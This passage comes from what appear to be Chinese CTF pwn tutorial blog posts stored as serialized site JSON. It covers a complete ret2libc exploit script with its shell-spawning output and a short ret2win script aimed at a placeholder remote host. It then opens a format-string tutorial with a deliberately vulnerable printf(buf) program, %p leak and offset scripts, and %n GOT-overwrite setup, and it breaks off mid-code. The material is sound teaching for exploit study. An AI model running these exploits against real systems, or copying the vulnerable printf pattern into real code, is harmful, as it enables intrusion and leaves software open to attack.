随机化，解决方法是\"先泄露，再计算\"。",[147,8234,8236],{"id":8235},"_81-原理","8.1 原理",[23,8238,8241],{"className":8239,"code":8240,"language":175,"meta":28},[173],"泄露 puts 的真实地址（调用 puts(puts@got)）\nlibc 基址 = puts 真实地址 - puts 在 libc 中的偏移\nsystem 地址 = libc 基址 + system 偏移\n\"/bin/sh\" 地址 = libc 基址 + 字符串偏移\n",[30,8242,8240],{"__ignoreMap":28},[147,8244,8246],{"id":8245},"_82-完整脚本","8.2 完整脚本",[23,8248,8250],{"className":1238,"code":8249,"language":1240,"meta":28,"style":28},"from pwn import *\n\ncontext.log_level = 'error'\n# 只显示错误，减少调试信息刷屏。\n\nelf = ELF('./vuln')\nlibc = ELF('/lib/x86_64-linux-gnu/libc.so.6')\n# 本地 libc 文件；远程题目若提供 libc，这里换成对应的文件路径。\np = process('./vuln')\n\noffset = 40\npop_rdi = 0x401233        # ROPgadget 搜到的 \"pop rdi; ret\" 地址\nret = 0x40101a            # 任意 \"ret\" 地址，用于栈 16 字节对齐\n\n# 第一阶段：泄露 puts 地址并返回 main\npayload1 = b'A' * offset\npayload1 += p64(ret)\n# 先执行一个 ret：让栈指针再弹 8 字节，满足 system 的 16 字节对齐要求。\npayload1 += p64(pop_rdi)\npayload1 += p64(elf.got['puts'])\n# got['puts']：GOT 里存放 puts 真实地址的内存位置。\npayload1 += p64(elf.plt['puts'])\n# plt['puts']：调用 puts 的入口；执行后相当于 puts(puts@got)，打印真实地址。\npayload1 += p64(elf.symbols['main'])\n# 回到 main，让程序再读一次输入，进行第二阶段。\n\np.recvuntil(b'name?')\np.sendline(payload1)\n\nleak = u64(p.recvline().strip().ljust(8, b'\\x00'))\n# recvline()：读一行（puts 输出后带换行）。\n# strip()：去掉换行；ljust(8, b'\\x00')：不足 8 字节用 \\x00 补齐。\n# u64()：8 字节小端转成整数，即 puts 的真实地址。\nprint(\"puts:\", hex(leak))\n\nlibc.address = leak - libc.symbols['puts']\n# libc.symbols['puts']：puts 在 libc 文件内的固定偏移。\n# 真实地址 - 偏移 = libc 基址；给 libc.address 赋值后，\n# 后面的 libc.symbols['system'] 会自动加上基址。\nprint(\"libc base:\", hex(libc.address))\n\n# 第二阶段：system(\"/bin/sh\")\npayload2 = b'A' * offset\npayload2 += p64(ret)\npayload2 += p64(pop_rdi)\npayload2 += p64(next(libc.search(b'/bin/sh')))\n# libc.search(b'/bin/sh')：在 libc 里找该字符串的所有位置；\n# next(...) 取第一个位置（偏移），libc.address 赋值后自动加基址。\npayload2 += p64(libc.symbols['system'])\n# 调用 system(\"/bin/sh\")。\n\np.sendlineafter(b'name?', payload2)\n# sendlineafter：先等提示再发送，保证时序正确。\np.interactive()\n",[30,8251,8252,8256,8260,8265,8270,8274,8278,8283,8288,8292,8296,8300,8305,8310,8314,8319,8324,8329,8334,8339,8344,8349,8354,8359,8364,8369,8373,8377,8382,8386,8391,8396,8401,8406,8411,8415,8420,8425,8430,8436,8442,8447,8453,8459,8465,8471,8477,8483,8489,8495,8501,8506,8512,8518],{"__ignoreMap":28},[33,8253,8254],{"class":35,"line":36},[33,8255,1716],{},[33,8257,8258],{"class":35,"line":47},[33,8259,1460],{"emptyLinePlaceholder":1373},[33,8261,8262],{"class":35,"line":70},[33,8263,8264],{},"context.log_level = 'error'\n",[33,8266,8267],{"class":35,"line":80},[33,8268,8269],{},"# 只显示错误，减少调试信息刷屏。\n",[33,8271,8272],{"class":35,"line":452},[33,8273,1460],{"emptyLinePlaceholder":1373},[33,8275,8276],{"class":35,"line":458},[33,8277,1806],{},[33,8279,8280],{"class":35,"line":464},[33,8281,8282],{},"libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')\n",[33,8284,8285],{"class":35,"line":470},[33,8286,8287],{},"# 本地 libc 文件；远程题目若提供 libc，这里换成对应的文件路径。\n",[33,8289,8290],{"class":35,"line":476},[33,8291,1725],{},[33,8293,8294],{"class":35,"line":482},[33,8295,1460],{"emptyLinePlaceholder":1373},[33,8297,8298],{"class":35,"line":1295},[33,8299,8016],{},[33,8301,8302],{"class":35,"line":1301},[33,8303,8304],{},"pop_rdi = 0x401233        # ROPgadget 搜到的 \"pop rdi; ret\" 地址\n",[33,8306,8307],{"class":35,"line":1505},[33,8308,8309],{},"ret = 0x40101a            # 任意 \"ret\" 地址，用于栈 16 字节对齐\n",[33,8311,8312],{"class":35,"line":1511},[33,8313,1460],{"emptyLinePlaceholder":1373},[33,8315,8316],{"class":35,"line":1517},[33,8317,8318],{},"# 第一阶段：泄露 puts 地址并返回 main\n",[33,8320,8321],{"class":35,"line":1523},[33,8322,8323],{},"payload1 = b'A' * offset\n",[33,8325,8326],{"class":35,"line":1529},[33,8327,8328],{},"payload1 += p64(ret)\n",[33,8330,8331],{"class":35,"line":1535},[33,8332,8333],{},"# 先执行一个 ret：让栈指针再弹 8 字节，满足 system 的 16 字节对齐要求。\n",[33,8335,8336],{"class":35,"line":1541},[33,8337,8338],{},"payload1 += p64(pop_rdi)\n",[33,8340,8341],{"class":35,"line":2981},[33,8342,8343],{},"payload1 += p64(elf.got['puts'])\n",[33,8345,8346],{"class":35,"line":2987},[33,8347,8348],{},"# got['puts']：GOT 里存放 puts 真实地址的内存位置。\n",[33,8350,8351],{"class":35,"line":2993},[33,8352,8353],{},"payload1 += p64(elf.plt['puts'])\n",[33,8355,8356],{"class":35,"line":2999},[33,8357,8358],{},"# plt['puts']：调用 puts 的入口；执行后相当于 puts(puts@got)，打印真实地址。\n",[33,8360,8361],{"class":35,"line":3005},[33,8362,8363],{},"payload1 += p64(elf.symbols['main'])\n",[33,8365,8366],{"class":35,"line":3770},[33,8367,8368],{},"# 回到 main，让程序再读一次输入，进行第二阶段。\n",[33,8370,8371],{"class":35,"line":3775},[33,8372,1460],{"emptyLinePlaceholder":1373},[33,8374,8375],{"class":35,"line":3781},[33,8376,1968],{},[33,8378,8379],{"class":35,"line":3787},[33,8380,8381],{},"p.sendline(payload1)\n",[33,8383,8384],{"class":35,"line":3792},[33,8385,1460],{"emptyLinePlaceholder":1373},[33,8387,8388],{"class":35,"line":3798},[33,8389,8390],{},"leak = u64(p.recvline().strip().ljust(8, b'\\x00'))\n",[33,8392,8393],{"class":35,"line":3804},[33,8394,8395],{},"# recvline()：读一行（puts 输出后带换行）。\n",[33,8397,8398],{"class":35,"line":3810},[33,8399,8400],{},"# strip()：去掉换行；ljust(8, b'\\x00')：不足 8 字节用 \\x00 补齐。\n",[33,8402,8403],{"class":35,"line":3816},[33,8404,8405],{},"# u64()：8 字节小端转成整数，即 puts 的真实地址。\n",[33,8407,8408],{"class":35,"line":3821},[33,8409,8410],{},"print(\"puts:\", hex(leak))\n",[33,8412,8413],{"class":35,"line":3827},[33,8414,1460],{"emptyLinePlaceholder":1373},[33,8416,8417],{"class":35,"line":3833},[33,8418,8419],{},"libc.address = leak - libc.symbols['puts']\n",[33,8421,8422],{"class":35,"line":3839},[33,8423,8424],{},"# libc.symbols['puts']：puts 在 libc 文件内的固定偏移。\n",[33,8426,8427],{"class":35,"line":3845},[33,8428,8429],{},"# 真实地址 - 偏移 = libc 基址；给 libc.address 赋值后，\n",[33,8431,8433],{"class":35,"line":8432},39,[33,8434,8435],{},"# 后面的 libc.symbols['system'] 会自动加上基址。\n",[33,8437,8439],{"class":35,"line":8438},40,[33,8440,8441],{},"print(\"libc base:\", hex(libc.address))\n",[33,8443,8445],{"class":35,"line":8444},41,[33,8446,1460],{"emptyLinePlaceholder":1373},[33,8448,8450],{"class":35,"line":8449},42,[33,8451,8452],{},"# 第二阶段：system(\"/bin/sh\")\n",[33,8454,8456],{"class":35,"line":8455},43,[33,8457,8458],{},"payload2 = b'A' * offset\n",[33,8460,8462],{"class":35,"line":8461},44,[33,8463,8464],{},"payload2 += p64(ret)\n",[33,8466,8468],{"class":35,"line":8467},45,[33,8469,8470],{},"payload2 += p64(pop_rdi)\n",[33,8472,8474],{"class":35,"line":8473},46,[33,8475,8476],{},"payload2 += p64(next(libc.search(b'/bin/sh')))\n",[33,8478,8480],{"class":35,"line":8479},47,[33,8481,8482],{},"# libc.search(b'/bin/sh')：在 libc 里找该字符串的所有位置；\n",[33,8484,8486],{"class":35,"line":8485},48,[33,8487,8488],{},"# next(...) 取第一个位置（偏移），libc.address 赋值后自动加基址。\n",[33,8490,8492],{"class":35,"line":8491},49,[33,8493,8494],{},"payload2 += p64(libc.symbols['system'])\n",[33,8496,8498],{"class":35,"line":8497},50,[33,8499,8500],{},"# 调用 system(\"/bin/sh\")。\n",[33,8502,8504],{"class":35,"line":8503},51,[33,8505,1460],{"emptyLinePlaceholder":1373},[33,8507,8509],{"class":35,"line":8508},52,[33,8510,8511],{},"p.sendlineafter(b'name?', payload2)\n",[33,8513,8515],{"class":35,"line":8514},53,[33,8516,8517],{},"# sendlineafter：先等提示再发送，保证时序正确。\n",[33,8519,8521],{"class":35,"line":8520},54,[33,8522,1997],{},[16,8524,8525],{},"运行输出：",[23,8527,8530],{"className":8528,"code":8529,"language":175,"meta":28},[173],"puts: 0x7f8a2c3a5aa0\nlibc base: 0x7f8a2c328000\n[*] Switching to interactive mode\n$ id\n",[30,8531,8529],{"__ignoreMap":28},[147,8533,8535],{"id":8534},"_83-三个易错点","8.3 三个易错点",[789,8537,8538,8558,8573],{},[792,8539,8540,561,8543,8546,8547,8550,8551,8554,8555,301],{},[136,8541,8542],{},"补零",[30,8544,8545],{},"puts"," 输出的地址以换行结尾，",[30,8548,8549],{},"strip()"," 去掉换行，",[30,8552,8553],{},"ljust(8, b'\\x00')"," 补到 8 字节再 ",[30,8556,8557],{},"u64",[792,8559,8560,561,8563,8566,8567,8570,8571,301],{},[136,8561,8562],{},"对齐",[30,8564,8565],{},"system"," 内部使用 ",[30,8568,8569],{},"movaps","，要求栈 16 字节对齐，需要额外一个 ",[30,8572,7674],{},[792,8574,8575,8578,8579,8582],{},[136,8576,8577],{},"libc 版本","：远程题目若提供 libc，用 ",[30,8580,8581],{},"libc = ELF('./libc-2.27.so')","；否则在 libc.rip 输入泄露的地址查版本。",[11,8584,8586],{"id":8585},"九必学工具","九、必学工具",[490,8588,8589,8599],{},[493,8590,8591],{},[496,8592,8593,8595,8597],{},[499,8594,1047],{},[499,8596,2042],{},[499,8598,2045],{},[506,8600,8601,8619,8631],{},[496,8602,8603,8605,8617],{},[511,8604,2052],{},[511,8606,8607,264,8609,1125,8611,264,8613,2067,8615],{},[30,8608,2057],{},[30,8610,1705],{},[30,8612,2063],{},[30,8614,1919],{},[30,8616,2070],{},[511,8618,2074],{},[496,8620,8621,8623,8626],{},[511,8622,8163],{},[511,8624,8625],{},"搜索 gadget、指定寄存器、输出地址",[511,8627,8628],{},[30,8629,8630],{},"ROPgadget --binary vuln | grep \"pop rdi\"",[496,8632,8633,8636,8639],{},[511,8634,8635],{},"GDB（pwndbg）",[511,8637,8638],{},"断点、看栈、查看崩溃点",[511,8640,8641,264,8643,264,8645],{},[30,8642,2100],{},[30,8644,2103],{},[30,8646,8647],{},"bt",[11,8649,8651],{"id":8650},"十小-ctf-实战","十、小 CTF 实战",[16,8653,1136,8654,8656,8657,8659,8660,8662],{},[30,8655,2115],{}," 运行 ",[30,8658,1692],{},"（No canary、No PIE，有 ",[30,8661,1682],{},"）。",[23,8664,8666],{"className":1238,"code":8665,"language":1240,"meta":28,"style":28},"from pwn import *\n\nelf = ELF('./vuln')\np = remote('1.2.3.4', 10001)\n\npayload = b'A' * 40 + p64(elf.symbols['win'])\np.sendline(payload)\np.sendline(b'cat flag')\np.interactive()\n",[30,8667,8668,8672,8676,8680,8684,8688,8692,8696,8700],{"__ignoreMap":28},[33,8669,8670],{"class":35,"line":36},[33,8671,1716],{},[33,8673,8674],{"class":35,"line":47},[33,8675,1460],{"emptyLinePlaceholder":1373},[33,8677,8678],{"class":35,"line":70},[33,8679,1806],{},[33,8681,8682],{"class":35,"line":80},[33,8683,1859],{},[33,8685,8686],{"class":35,"line":452},[33,8687,1460],{"emptyLinePlaceholder":1373},[33,8689,8690],{"class":35,"line":458},[33,8691,1983],{},[33,8693,8694],{"class":35,"line":464},[33,8695,1909],{},[33,8697,8698],{"class":35,"line":470},[33,8699,2203],{},[33,8701,8702],{"class":35,"line":476},[33,8703,1997],{},[16,8705,169],{},[23,8707,8709],{"className":8708,"code":2218,"language":175,"meta":28},[173],[30,8710,2218],{"__ignoreMap":28},[11,8712,8714],{"id":8713},"十一小结","十一、小结",[16,8716,8717,8718,8720,8721,8723],{},"栈溢出主线：",[30,8719,2079],{}," 判断防护 → ",[30,8722,1705],{}," 找偏移 → 覆盖返回地址。NX 出现后用 ROP，ASLR 出现后先泄露再计算。练熟 ret2win 与 ret2libc 即可覆盖大多数入门到中级 Pwn 题。",[1350,8725,8726],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}",{"title":28,"searchDepth":47,"depth":47,"links":8728},[8729,8730,8731,8732,8733,8734,8735,8736,8737,8738,8739],{"id":7659,"depth":70,"text":7660},{"id":89,"depth":70,"text":90},{"id":1433,"depth":70,"text":1434},{"id":7839,"depth":70,"text":7840},{"id":1686,"depth":70,"text":1687},{"id":8035,"depth":70,"text":8036},{"id":8143,"depth":70,"text":8144},{"id":8210,"depth":70,"text":8211},{"id":8585,"depth":70,"text":8586},{"id":8650,"depth":70,"text":8651},{"id":8713,"depth":70,"text":8714},"栈溢出实践：编译与 checksec、cyclic 找偏移、ret2win 利用、PLT/GOT 与 ASLR 原理、ret2libc 泄露计算与完整脚本。",{"date":1366,"image":8742,"alt":8743,"tags":8744,"published":1373},"/blogs-img/blog8.png","栈溢出与 ROP 深入实战",[1370,1608,8745,1372],"栈溢出","/blogs/ctf-pwn-stack-overflow-rop-deep-dive",{"title":7654,"description":8740},"blogs/17. ctf-pwn-stack-overflow-rop-deep-dive","nXKz1FbP17Wgk_hN6NTnSqOWF8XUdJPumxZYT7_VJr8",{"id":8751,"title":8752,"body":8753,"description":9778,"extension":1364,"meta":9779,"navigation":1373,"ogImage":3260,"path":9783,"seo":9784,"stem":9785,"__hash__":9786},"content/blogs/18. ctf-pwn-format-string-deep-dive.md","格式化字符串深入实战：%p 泄露、偏移定位与 %n 任意写",{"type":8,"value":8754,"toc":9766},[8755,8759,8762,8777,8792,8809,8813,8818,8867,8888,8892,8897,8899,8908,8910,8916,8919,8925,8936,8944,8948,8953,8969,8972,8974,8982,8984,8990,8993,8999,9009,9076,9081,9111,9115,9120,9133,9141,9196,9249,9252,9261,9264,9268,9273,9288,9293,9299,9301,9314,9317,9360,9364,9375,9383,9389,9459,9492,9495,9574,9580,9609,9619,9621,9679,9683,9690,9699,9742,9744,9750,9752,9763],[11,8756,8758],{"id":8757},"一现实背景printf-的错误写法","一、现实背景：printf 的错误写法",[16,8760,8761],{},"C 程序员常写的输出代码：",[23,8763,8765],{"className":816,"code":8764,"language":818,"meta":28,"style":28},"printf(buf);      // 错误：buf 被当成格式字符串\nprintf(\"%s\", buf); // 正确：buf 只是数据\n",[30,8766,8767,8772],{"__ignoreMap":28},[33,8768,8769],{"class":35,"line":36},[33,8770,8771],{},"printf(buf);      // 错误：buf 被当成格式字符串\n",[33,8773,8774],{"class":35,"line":47},[33,8775,8776],{},"printf(\"%s\", buf); // 正确：buf 只是数据\n",[16,8778,8779,8780,8783,8784,8787,8788,8791],{},"当 ",[30,8781,8782],{},"buf"," 内容是 ",[30,8785,8786],{},"%p"," 时，",[30,8789,8790],{},"printf"," 会把它当格式说明符，去读取\"本不存在的参数\"——读到的是栈与寄存器上的值。这造成两类能力：",[8793,8794,8795,8803],"ul",{},[792,8796,8797,1125,8799,8802],{},[30,8798,8786],{},[30,8800,8801],{},"%s","：任意读（泄露内存）。",[792,8804,8805,8808],{},[30,8806,8807],{},"%n","：任意写（写入内存）。",[11,8810,8812],{"id":8811},"二漏洞程序与编译","二、漏洞程序与编译",[16,8814,8815,561],{},[30,8816,8817],{},"fmt.c",[23,8819,8821],{"className":816,"code":8820,"language":818,"meta":28,"style":28},"#include \u003Cstdio.h>\n\nint main() {\n    char buf[100];\n    setvbuf(stdout, NULL, _IONBF, 0);\n    printf(\"> \");\n    fgets(buf, sizeof(buf), stdin);\n    printf(buf);          // 漏洞\n    return 0;\n}\n",[30,8822,8823,8827,8831,8835,8840,8844,8849,8854,8859,8863],{"__ignoreMap":28},[33,8824,8825],{"class":35,"line":36},[33,8826,1450],{},[33,8828,8829],{"class":35,"line":47},[33,8830,1460],{"emptyLinePlaceholder":1373},[33,8832,8833],{"class":35,"line":70},[33,8834,1508],{},[33,8836,8837],{"class":35,"line":80},[33,8838,8839],{},"    char buf[100];\n",[33,8841,8842],{"class":35,"line":452},[33,8843,1514],{},[33,8845,8846],{"class":35,"line":458},[33,8847,8848],{},"    printf(\"> \");\n",[33,8850,8851],{"class":35,"line":464},[33,8852,8853],{},"    fgets(buf, sizeof(buf), stdin);\n",[33,8855,8856],{"class":35,"line":470},[33,8857,8858],{},"    printf(buf);          // 漏洞\n",[33,8860,8861],{"class":35,"line":476},[33,8862,1538],{},[33,8864,8865],{"class":35,"line":482},[33,8866,1475],{},[23,8868,8870],{"className":25,"code":8869,"language":27,"meta":28,"style":28},"gcc -o fmt fmt.c -fno-stack-protector -no-pie\n",[30,8871,8872],{"__ignoreMap":28},[33,8873,8874,8876,8878,8881,8884,8886],{"class":35,"line":36},[33,8875,1556],{"class":39},[33,8877,1559],{"class":241},[33,8879,8880],{"class":43}," fmt",[33,8882,8883],{"class":43}," fmt.c",[33,8885,1568],{"class":241},[33,8887,1571],{"class":241},[11,8889,8891],{"id":8890},"三核心步骤-1p-泄露","三、核心步骤 1：%p 泄露",[16,8893,8894,8896],{},[136,8895,138],{},"：用最便宜的测试确认漏洞，并观察\"输入本身出现在参数列表里\"这一关键事实。",[16,8898,5460],{},[23,8900,8902],{"className":25,"code":8901,"language":27,"meta":28,"style":28},"./fmt\n",[30,8903,8904],{"__ignoreMap":28},[33,8905,8906],{"class":35,"line":36},[33,8907,8901],{"class":39},[16,8909,153],{},[23,8911,8914],{"className":8912,"code":8913,"language":175,"meta":28},[173],"%p.%p.%p.%p.%p.%p\n",[30,8915,8913],{"__ignoreMap":28},[16,8917,8918],{},"实际输出（本机 arm64 实测，Linux x86-64 输出形式一致、地址值不同）：",[23,8920,8923],{"className":8921,"code":8922,"language":175,"meta":28},[173],"> 0xfffffffffffffff0.0x16d8b6c48.0x40000000.0x70252e70252e7025.0x252e70252e70252e.0x100000a70\n",[30,8924,8922],{"__ignoreMap":28},[16,8926,8927,8928,8931,8932,8935],{},"出现一堆十六进制地址，漏洞确认。注意第 4、5 个值里有 ",[30,8929,8930],{},"0x70252e70","，正是 ",[30,8933,8934],{},"%p.%p"," 的 ASCII 字节——说明我们的输入本身也在参数列表里。",[16,8937,8938,561,8941,8943],{},[136,8939,8940],{},"为什么能泄露",[30,8942,8790],{}," 按格式串逐个取参数。我们没传参数，它就继续往寄存器/栈上读\"不存在的参数\"，读到的都是内存里的真实值。",[11,8945,8947],{"id":8946},"四核心步骤-2偏移定位","四、核心步骤 2：偏移定位",[16,8949,8950,8952],{},[136,8951,138],{},"：确定\"我们的输入位于第几个参数\"，这是所有精确利用的前提。",[16,8954,8955,8957,8958,8960,8961,8964,8965,8968],{},[136,8956,144],{},"：在输入开头放 4 个 ",[30,8959,1923],{},"，用 ",[30,8962,8963],{},"%N$p"," 逐个位置试探；哪个位置输出 ",[30,8966,8967],{},"0x41414141","，哪个位置就是输入起点。",[16,8970,8971],{},"要精确利用，需要知道\"我们的输入位于第几个参数\"。",[16,8973,5460],{},[23,8975,8976],{"className":25,"code":8901,"language":27,"meta":28,"style":28},[30,8977,8978],{"__ignoreMap":28},[33,8979,8980],{"class":35,"line":36},[33,8981,8901],{"class":39},[16,8983,153],{},[23,8985,8988],{"className":8986,"code":8987,"language":175,"meta":28},[173],"AAAA.%6$p\n",[30,8989,8987],{"__ignoreMap":28},[16,8991,8992],{},"预期输出（Linux x86-64 典型情况）：",[23,8994,8997],{"className":8995,"code":8996,"language":175,"meta":28},[173],"> AAAA.0x41414141\n",[30,8998,8996],{"__ignoreMap":28},[16,9000,9001,9002,9004,9005,9008],{},"出现 ",[30,9003,8967],{},"（",[30,9006,9007],{},"AAAA"," 的十六进制），说明 buf 起始位置是第 6 个参数，偏移 = 6。不同程序偏移不同（常见 6-10），确认方法就是逐个数：",[23,9010,9012],{"className":1238,"code":9011,"language":1240,"meta":28,"style":28},"from pwn import *\n\nfor i in range(1, 15):\n    p = process('./fmt')\n    p.recvuntil(b'> ')\n    p.sendline(f'AAAA.%{i}$p'.encode())\n    # f'AAAA.%{i}$p'：构造 \"AAAA.%1$p\"、\"AAAA.%2$p\" ... 依次试探。\n    # .encode()：字符串转成字节串才能 sendline。\n    out = p.recvall()\n    if b'0x41414141' in out:\n        # 0x41414141 就是 AAAA 的十六进制，说明第 i 个参数是输入起点。\n        print(f'offset = {i}')\n        break\n",[30,9013,9014,9018,9022,9027,9032,9037,9042,9047,9052,9057,9062,9067,9072],{"__ignoreMap":28},[33,9015,9016],{"class":35,"line":36},[33,9017,1716],{},[33,9019,9020],{"class":35,"line":47},[33,9021,1460],{"emptyLinePlaceholder":1373},[33,9023,9024],{"class":35,"line":70},[33,9025,9026],{},"for i in range(1, 15):\n",[33,9028,9029],{"class":35,"line":80},[33,9030,9031],{},"    p = process('./fmt')\n",[33,9033,9034],{"class":35,"line":452},[33,9035,9036],{},"    p.recvuntil(b'> ')\n",[33,9038,9039],{"class":35,"line":458},[33,9040,9041],{},"    p.sendline(f'AAAA.%{i}$p'.encode())\n",[33,9043,9044],{"class":35,"line":464},[33,9045,9046],{},"    # f'AAAA.%{i}$p'：构造 \"AAAA.%1$p\"、\"AAAA.%2$p\" ... 依次试探。\n",[33,9048,9049],{"class":35,"line":470},[33,9050,9051],{},"    # .encode()：字符串转成字节串才能 sendline。\n",[33,9053,9054],{"class":35,"line":476},[33,9055,9056],{},"    out = p.recvall()\n",[33,9058,9059],{"class":35,"line":482},[33,9060,9061],{},"    if b'0x41414141' in out:\n",[33,9063,9064],{"class":35,"line":1295},[33,9065,9066],{},"        # 0x41414141 就是 AAAA 的十六进制，说明第 i 个参数是输入起点。\n",[33,9068,9069],{"class":35,"line":1301},[33,9070,9071],{},"        print(f'offset = {i}')\n",[33,9073,9074],{"class":35,"line":1505},[33,9075,2672],{},[16,9077,169,9078,301],{},[30,9079,9080],{},"offset = 6",[16,9082,9083,9084,3858,9087,9089,9090,9092,9093,9096,9097,9100,9101,9096,9104,710,9107,9110],{},"为什么从 6 开始：x86-64 调用约定前 6 个整数参数用寄存器（",[30,9085,9086],{},"rdi, rsi, rdx, rcx, r8, r9",[30,9088,8790],{}," 自己占 ",[30,9091,8197],{},"，所以 ",[30,9094,9095],{},"%1$p"," 到 ",[30,9098,9099],{},"%5$p"," 对应 ",[30,9102,9103],{},"rsi",[30,9105,9106],{},"r9",[30,9108,9109],{},"%6$p"," 开始读栈。",[11,9112,9114],{"id":9113},"五核心步骤-3泄露-canary-与-libc","五、核心步骤 3：泄露 canary 与 libc",[16,9116,9117,9119],{},[136,9118,138],{},"：把栈上的关键保护值（canary）与库地址（libc）泄露出来，供后续利用。",[16,9121,9122,9124,9125,9128,9129,9132],{},[136,9123,144],{},"：不同数据在栈上有固定特征——canary 以 ",[30,9126,9127],{},"00"," 结尾，libc 地址以 ",[30,9130,9131],{},"0x7f"," 开头。扫描一段偏移后按特征识别。",[16,9134,797,9135,9096,9137,9140],{},[30,9136,9109],{},[30,9138,9139],{},"%40$p"," 全部打出来，识别特征值：",[490,9142,9143,9153],{},[493,9144,9145],{},[496,9146,9147,9150],{},[499,9148,9149],{},"值特征",[499,9151,9152],{},"内容",[506,9154,9155,9166,9177,9187],{},[496,9156,9157,9163],{},[511,9158,9159,9160,9162],{},"以 ",[30,9161,9127],{}," 结尾的随机值",[511,9164,9165],{},"canary",[496,9167,9168,9174],{},[511,9169,9170,9173],{},[30,9171,9172],{},"0x7fff"," 开头",[511,9175,9176],{},"栈地址",[496,9178,9179,9184],{},[511,9180,9181,9173],{},[30,9182,9183],{},"0x55/0x56",[511,9185,9186],{},"程序代码地址（PIE 基址相关）",[496,9188,9189,9193],{},[511,9190,9191,9173],{},[30,9192,9131],{},[511,9194,9195],{},"libc 地址",[23,9197,9199],{"className":1238,"code":9198,"language":1240,"meta":28,"style":28},"payload = b'.'.join(f'%{i}$p'.encode() for i in range(6, 40))\n# 生成 \"%6$p.%7$p....%39$p\"，一次打出一串值。\np.sendline(payload)\nout = p.recvall().decode().split('.')\n# 按点号切分，得到每个位置的值。\n\nfor i, v in enumerate(out):\n    if v.endswith('00') and len(v) == 18:\n        # 16 位十六进制 + 结尾 00：符合 canary 的典型形态。\n        print(f'possible canary at {i+6}: {v}')\n",[30,9200,9201,9206,9211,9215,9220,9225,9229,9234,9239,9244],{"__ignoreMap":28},[33,9202,9203],{"class":35,"line":36},[33,9204,9205],{},"payload = b'.'.join(f'%{i}$p'.encode() for i in range(6, 40))\n",[33,9207,9208],{"class":35,"line":47},[33,9209,9210],{},"# 生成 \"%6$p.%7$p....%39$p\"，一次打出一串值。\n",[33,9212,9213],{"class":35,"line":70},[33,9214,1909],{},[33,9216,9217],{"class":35,"line":80},[33,9218,9219],{},"out = p.recvall().decode().split('.')\n",[33,9221,9222],{"class":35,"line":452},[33,9223,9224],{},"# 按点号切分，得到每个位置的值。\n",[33,9226,9227],{"class":35,"line":458},[33,9228,1460],{"emptyLinePlaceholder":1373},[33,9230,9231],{"class":35,"line":464},[33,9232,9233],{},"for i, v in enumerate(out):\n",[33,9235,9236],{"class":35,"line":470},[33,9237,9238],{},"    if v.endswith('00') and len(v) == 18:\n",[33,9240,9241],{"class":35,"line":476},[33,9242,9243],{},"        # 16 位十六进制 + 结尾 00：符合 canary 的典型形态。\n",[33,9245,9246],{"class":35,"line":482},[33,9247,9248],{},"        print(f'possible canary at {i+6}: {v}')\n",[16,9250,9251],{},"泄露 libc 地址后：",[23,9253,9255],{"className":1238,"code":9254,"language":1240,"meta":28,"style":28},"libc.address = leaked_libc_addr - libc.symbols['puts']\n",[30,9256,9257],{"__ignoreMap":28},[33,9258,9259],{"class":35,"line":36},[33,9260,9254],{},[16,9262,9263],{},"与 ret2libc 的\"先泄露再计算\"思路完全一致。",[11,9265,9267],{"id":9266},"六核心步骤-4n-任意写","六、核心步骤 4：%n 任意写",[16,9269,9270,9272],{},[136,9271,138],{},"：理解\"写内存\"的原语，为覆盖 GOT 做准备。",[16,9274,9275,561,9277,9279,9280,9283,9284,9287],{},[136,9276,144],{},[30,9278,8807],{}," 把\"已打印字符数\"写入参数指向的地址。先用 ",[30,9281,9282],{},"%100c"," 精确控制打印量，再用 ",[30,9285,9286],{},"%N$n"," 写到目标地址。",[16,9289,9290,9292],{},[30,9291,8807],{}," 把\"当前已经打印的字符数\"写入参数指向的地址：",[23,9294,9297],{"className":9295,"code":9296,"language":175,"meta":28},[173],"%100c%7$n\n",[30,9298,9296],{"__ignoreMap":28},[16,9300,8125],{},[789,9302,9303,9308],{},[792,9304,9305,9307],{},[30,9306,9282],{}," 打印 100 个填充字符，已打印数变成 100。",[792,9309,9310,9313],{},[30,9311,9312],{},"%7$n"," 把 100 写入第 7 个参数指向的地址。",[16,9315,9316],{},"所以如果第 7 个参数恰好是我们输入里的一个地址，就能往那个地址写 100。写入宽度控制：",[490,9318,9319,9329],{},[493,9320,9321],{},[496,9322,9323,9326],{},[499,9324,9325],{},"说明符",[499,9327,9328],{},"写入字节数",[506,9330,9331,9340,9350],{},[496,9332,9333,9337],{},[511,9334,9335],{},[30,9336,8807],{},[511,9338,9339],{},"4 字节",[496,9341,9342,9347],{},[511,9343,9344],{},[30,9345,9346],{},"%hn",[511,9348,9349],{},"2 字节",[496,9351,9352,9357],{},[511,9353,9354],{},[30,9355,9356],{},"%hhn",[511,9358,9359],{},"1 字节",[11,9361,9363],{"id":9362},"七核心步骤-5fmtstr_payload-覆盖-got","七、核心步骤 5：fmtstr_payload 覆盖 GOT",[16,9365,9366,9368,9369,9371,9372,9374],{},[136,9367,138],{},"：把程序即将调用的 ",[30,9370,8545],{}," 改成我们的 ",[30,9373,1682],{},"，实现控制流劫持。",[16,9376,9377,561,9379,9382],{},[136,9378,144],{},[30,9380,9381],{},"puts@got"," 存的是 puts 真实地址；程序每次调 puts 都先查 GOT。把 GOT 内容改成 win 地址，下一次调用就变成执行 win。验证方式：发送 payload 后看是否进入 shell。",[16,9384,9385,9386,561],{},"目标程序 ",[30,9387,9388],{},"fmt2.c",[23,9390,9392],{"className":816,"code":9391,"language":818,"meta":28,"style":28},"#include \u003Cstdio.h>\n#include \u003Cstdlib.h>\n\nvoid win() {\n    system(\"/bin/sh\");\n}\n\nint main() {\n    char buf[100];\n    setvbuf(stdout, NULL, 